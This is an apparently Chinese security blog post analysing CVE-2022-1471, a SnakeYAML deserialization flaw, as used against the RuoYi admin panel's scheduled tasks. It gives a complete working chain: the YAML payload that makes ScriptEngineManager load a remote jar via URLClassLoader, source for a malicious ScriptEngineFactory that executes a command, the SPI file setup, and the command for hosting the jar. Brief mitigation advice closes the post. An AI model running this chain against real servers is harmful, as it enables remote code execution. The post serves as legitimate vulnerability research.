SnakeYAML的基础利用及分析

SnakeYAML的基础利用及分析

前言

本文仅用于安全技术研究与交流。文中所有实验均在本地自建环境中完成,未针对任何线上系统,也未使用任何未授权目标的数据。

读者因将本文技术用于非法用途所产生的一切后果,由读者自行承担,与作者无关。转载请注明作者与原文链接;禁止用于商业用途。

在上一篇文章(https://www.cnblogs.com/R4v3n/articles/23281700 )中,我们研究了若依后台定时任务的 JNDI 注入导致的 RCE。本文将以此为基础,探讨后台定时任务的另一种 RCE 方法——SnakeYAML 漏洞。

本文实验环境为 Windows + JDK 8 + SnakeYAML 1.28。

在正式分析之前,我们先给出最终的利用 payload,以便读者更好地阅读下面的内容:

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:9999/ExecDemo.jar"]]]]')

关键字:代码审计 / Java 安全 / 若依 RuoYi / 定时任务 / SnakeYAML / CVE-2022-1471 / YAML 反序列化 / SPI 机制 / ScriptEngineManager / URLClassLoader / 远程类加载

利用的条件

这个漏洞的编号为 CVE-2022-1471,影响 SnakeYAML 2.0 以下的版本。我们打开若依 V4.7.8,在根目录的 pom.xml 中搜索 snakeyaml 并没有结果——因为具体依赖声明在 ruoyi-common/pom.xml,而且它没有写 <version>。版本号由 Spring Boot 的 BOM 统一管理,所以我们在根目录的 pom.xml 中搜索 spring-boot,就能找到:

1_find_dependencies_1

可以看到其版本为 2.5.15。我们按住 Ctrl + 左键跟进,进入 spring-boot-dependencies-2.5.15.pom,搜索 snakeyaml,可以看到版本为 1.28,满足条件:

2_find_dependencies_2

SnakeYAML 做了什么?

Yaml.load() 会解析 YAML 中的 !! 标签,并反射实例化对应的类(即调用其构造方法)。我们的 payload 如下:

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:9999/ExecDemo.jar"]]]]

!! 标签在 SnakeYAML 中相当于 new 一个对象,这里也就是 new 一个 ScriptEngineManager 对象。

那么我们先动手试一下,直观地看看它做了什么。

一个简单的 YAML Demo

我们使用 IDEA 创建一个新项目 YamlDemo。首先引入对应的依赖,在根目录的 pom.xml 中加入如下内容:

  <dependencies>
      <dependency>
              <groupId>org.yaml</groupId>
              <artifactId>snakeyaml</artifactId>
              <version>1.28</version>
      </dependency>
  </dependencies>

随后创建如下两个文件:

// Demo.java
import org.yaml.snakeyaml.Yaml;

public class Demo {
    public static void main(String[] args) {
        Yaml yaml = new Yaml();
        String s = "!!RunCommand []";
        RunCommand cmd = yaml.load(s);
    }
}
// RunCommand.java
import java.io.IOException;

public class RunCommand {
    public RunCommand() throws IOException {
        java.lang.Runtime.getRuntime().exec("calc");
    }
}

保存并运行,可以看到计算器被弹出:

3_yaml_demo

远程 jar 加载

虽然 Demo 运行得很好,但我们总不能假设 Java 服务器上刚好存在这么一个满足条件的类。如果我们能把自己的 RunCommand 类加载到远程服务器上,那么一切就好办了。

这就是我们的下一站:javax.script.ScriptEngineManager。

查看 ScriptEngineManager 的构造方法,发现存在一个可以接收 ClassLoader 的重载方法:

4_ScriptEngineManager_constructor

我们的问题是如何实现远程类加载。URLClassLoader 能从远程 URL 加载类——这正是我们想要的;同时它继承了 SecureClassLoader,SecureClassLoader 又继承了 ClassLoader,这意味着我们只要构造:

URL[] urls = { new URL("http://127.0.0.1:9999/ExecDemo.jar") };
ClassLoader customLoader = new URLClassLoader(urls);

这样得到的 customLoader 就可以作为 ScriptEngineManager 构造方法的参数了。

最终,我们实现一个模拟受害服务器行为的 demo,新建一个 ScriptEngineManagerDemo 项目,代码如下:

import javax.script.ScriptEngineManager;
import java.net.URL;
import java.net.URLClassLoader;

public class ScriptEngineManagerDemo {
    public static void main(String[] args) throws Exception {
        URL[] urls = { new URL("http://127.0.0.1:9999/ExecDemo.jar") };
        ClassLoader customLoader = new URLClassLoader(urls);
        ScriptEngineManager manager = new ScriptEngineManager(customLoader);
    }
}

5_server_demo

ExecDemo.jar 的实现

受害者侧的 payload 已经研究完了,现在的问题是如何解决攻击者侧的部分——我们需要实现 ExecDemo.jar。

回到上一节的 ScriptEngineManagerDemo 项目,跟进 ScriptEngineManager 的构造方法:

6_ScriptEngineManager_initEngines

从这里可以得知,被加载的类需要实现 ScriptEngineFactory 接口。

我们创建一个新项目 ExecDemo,新建一个包 demo,在该包下创建 DemoScriptEngineFactory.java:

package demo;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.Collections;
import java.util.List;

public class DemoScriptEngineFactory implements ScriptEngineFactory {
    public DemoScriptEngineFactory() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

    @Override
    public String getEngineName() {
        return "";
    }

    @Override
    public String getEngineVersion() {
        return "";
    }

    @Override
    public List<String> getExtensions() {
        return Collections.emptyList();
    }

    @Override
    public List<String> getMimeTypes() {
        return Collections.emptyList();
    }

    @Override
    public List<String> getNames() {
        return Collections.emptyList();
    }

    @Override
    public String getLanguageName() {
        return "";
    }

    @Override
    public String getLanguageVersion() {
        return "";
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return "";
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return "";
    }

    @Override
    public String getProgram(String... statements) {
        return "";
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}

7_DemoScriptEngine

此外,我们需要在 src/main/resources/META-INF 目录下创建 services 目录,并在其中创建一个名为 javax.script.ScriptEngineFactory 的文件,内容为:

demo.DemoScriptEngineFactory

我们稍后再解释为什么需要这么做。(另外,读者可能会注意到 META-INF 下还有一个 MANIFEST.MF 文件,它用于存储包和扩展的配置数据,如安全性和版本信息,由 IDEA 自动生成。关于这个文件读者可自行查阅,这里不再展开。)

在 IDEA 的菜单栏选择 文件 → 项目结构 → 工件,添加一个 JAR → 来自具有依赖项的模块:

8_create_artifact_1

主类选择 DemoScriptEngineFactory:

9_create_artifact_2

随后在菜单栏选择 构建 → 构建工件,项目根目录下会生成一个 out 目录,里面就是我们需要的 jar 文件。

在包含刚刚生成的 jar 文件的目录下启动一个 HTTP 服务:

python -m http.server 9999

现在回到上一节的 ScriptEngineManagerDemo 项目并启动,可以看到计算器被弹出,同时 9999 端口的服务器收到了一条对 ExecDemo.jar 的请求:

10_calc_success

至此,整条利用链已经打通。现在回到若依 V4.7.8,按照上一篇文章的方法,利用 SQL 注入修改任务的调用字符串,随后执行一次,可以看到命令被顺利执行。

15_ruoyi

补充:Java 的 SPI 机制

现在我们可以解释为什么需要在 META-INF 下创建一个 services/javax.script.ScriptEngineFactory 文件了。在 ScriptEngineManagerDemo 项目中,对最后一行打上断点,随后运行,当断点命中时按下 F7,查看下面的堆栈调用情况:

11_spi_1

在堆栈中选择 next:404, ServiceLoader$LazyIterator (java.util) 这行:

12_spi_2

进入 nextService 方法,再进入 hasNextService 方法:

13_spi_3

可以看到这里正在进行类的实例化操作,我们观察 fullName 这一行:

14_spi_4

META-INF/services 下的文件名是接口的全限定名,文件内容则是实现类的全限定名,这样 Java 就可以在运行时自动找到并加载这个实现类,这就是 Java 的 SPI 机制。

详细的运行机制若读者有兴趣可自行验证,这里不再展开。

防御与修复

CVE-2022-1471 的官方说明给出了两条建议:解析不可信内容时使用 SafeConstructor,并升级到 2.0 及以上版本。

posted @ 2026-10-15 10:45  R4v3n  阅读(13)  评论(0)    收藏  举报